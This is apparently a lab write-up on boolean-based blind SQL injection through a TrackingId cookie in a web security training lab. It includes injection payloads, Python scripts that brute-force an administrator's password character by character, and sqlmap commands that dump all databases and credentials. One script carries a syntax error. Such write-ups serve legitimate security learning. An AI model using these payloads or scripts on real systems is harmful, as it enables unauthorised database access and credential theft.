Blind (Boolean Based)

Boolean based SQLi consists on abusing conditions that affect the response from the server if they are met or unmet.

Lab

In this example the vulnerable parameter is the "TrackingId" cookie. The server either returns "Welcome back!" if the cookie is on the DB or nothing if it isn't.

"TrackingId=XhSGd9l2OrqtadAg" returns "Welcome back!".

And "TrackingId=aaaaaaaaaaaaaa" doesn not.

If we test a simple condition that we know is true, such as 1=1, we can validate if we are manipulating the query sent to the DB.

"TrackingId=XhSGd9l2OrqtadAg'and '1'='1"

XhSGd9l2OrqtadAg is valid so the check that was already happening should return true and 1=1 also returns true. if all conditions are true, then the AND statment will return true and the welcome message should be displayed.

Perfect!

Whenever we have a blind SQLi we need to slowly return data by performing multiple conditional checks.

Manually retreiving info

The lab asked us to retreive the password of the administrator user from a table called users with 2 columns, username and password. First we need to get the length of the password, we can use the following query:

' AND (SELECT '1' FROM users WHERE username='administrator' AND LENGTH(password)>n)='1

This can be done by permutating n with increasing numbers until we hit a number bigger then the length of the password field, so the condition returns false, causing the WHERE statment not to meet the condition, so the SELECT, won't return '1' and the sentence 1=1 will not be formed, which will return false and the message won't be rendered. This allows us to find the exact length of the password for the administrator user.

Here is my python script for that:

#!/usr/bin/env python3
import requests
import string

# Definitions
n = 0
url = 'https://ac101f3d1fdb7dc78066297c00420068.web-security-academy.net/'
track_cookie = 'QmJyAg4DgQdJZOAB'

# Get password length
while True:
    query = "' AND (SELECT '1' FROM users WHERE username='administrator' AND LENGTH(password)>" + str(n) + ")='1"
    cookie = {'Cookie':'TrackingId=' + track_cookie + query}
    r = requests.get(url, headers=cookie, timeout=3600)
    print('[-]Trying ' + str(n), end='\r')
    if 'Welcome back!' not in r.text:
        print('[+]password length is: ' + str(n))
        passlength = n
        break
    else:
        n = n + 1

Now we do a similar process with a different query so we get the character at each position of the password.

' AND (SELECT SUBSTRING(password,n,1) FROM users WHERE username='administrator')='c

If we permutate c with all printable characters where n equals 1, we can get the character in the first position because whenever the subquery return the same character as c we'll get c=c, which returns true. Then we can increase n until we exfiltrate the entire element.

#!/usr/bin/env python3
import requests
import string

# Definitions
n = 0
url = 'https://ac101f3d1fdb7dc78066297c00420068.web-security-academy.net/'
track_cookie = 'QmJyAg4DgQdJZOAB'

# Get password length
while True:
    query = "' AND (SELECT '1' FROM users WHERE username='administrator' AND LENGTH(password)>" + str(n) + ")='1"
    cookie = {'Cookie':'TrackingId=' + track_cookie + query}
    r = requests.get(url, headers=cookie, timeout=3600)
    print('[-]Trying ' + str(n), end='\r')
    if 'Welcome back!' not in r.text:
        print('[+]password length is: ' + str(n))
        passlength = n
        break
    else:
        n = n + 1

# Dump password
password = ''
for n in range(1,passlength + 1):
    for c in string.printable:
        query = "' AND (SELECT SUBSTRING(password," + str(n) + ",1) FROM users WHERE username='administrator')='" + c
        cookie = {'Cookie':'TrackingId=' + track_cookie + query}
        while True:
            try:
                r = requests.get(url, headers=cookie, timeout=3600)
                print('[-]Trying ' + password + c) , end='\r')
            except:
                continue
            break
        if 'Welcome back!' in r.text:
            password += c
            break
    if len(password) >= passlength:
        print('[+]password is: ' + password)

And the above script retrieves the correct password:

SQLMap

The only reasonable way of exfiltraring large amounts of data with no knowledge of what DB's and tables we can accesss is using automated programs, such as sqlmap, some times sqlmap won't do the job on it's own because of how data is being treated, in case you have, for example signed queries, weak tamper protection or custom ways of dealing with sessions, but for this cases coding your own tamper scripts/proxies will make it work in most cases.

sqlmap --cookie='TrackingId=XhSGd9l2OrqtadAg' -u https://ac701fbd1f41fda1815b193400ff0052.web-security-academy.net/ --dbs --threads 10

The above command dumps the name of all databases.

sqlmap --cookie='TrackingId=XhSGd9l2OrqtadAg' -u https://ac701fbd1f41fda1815b193400ff0052.web-security-academy.net/ -D public --dump-all --threads 10

And this last one dumps the content of thr "public" database, containing all valid TrackIds, usernames and passwords.

Last updated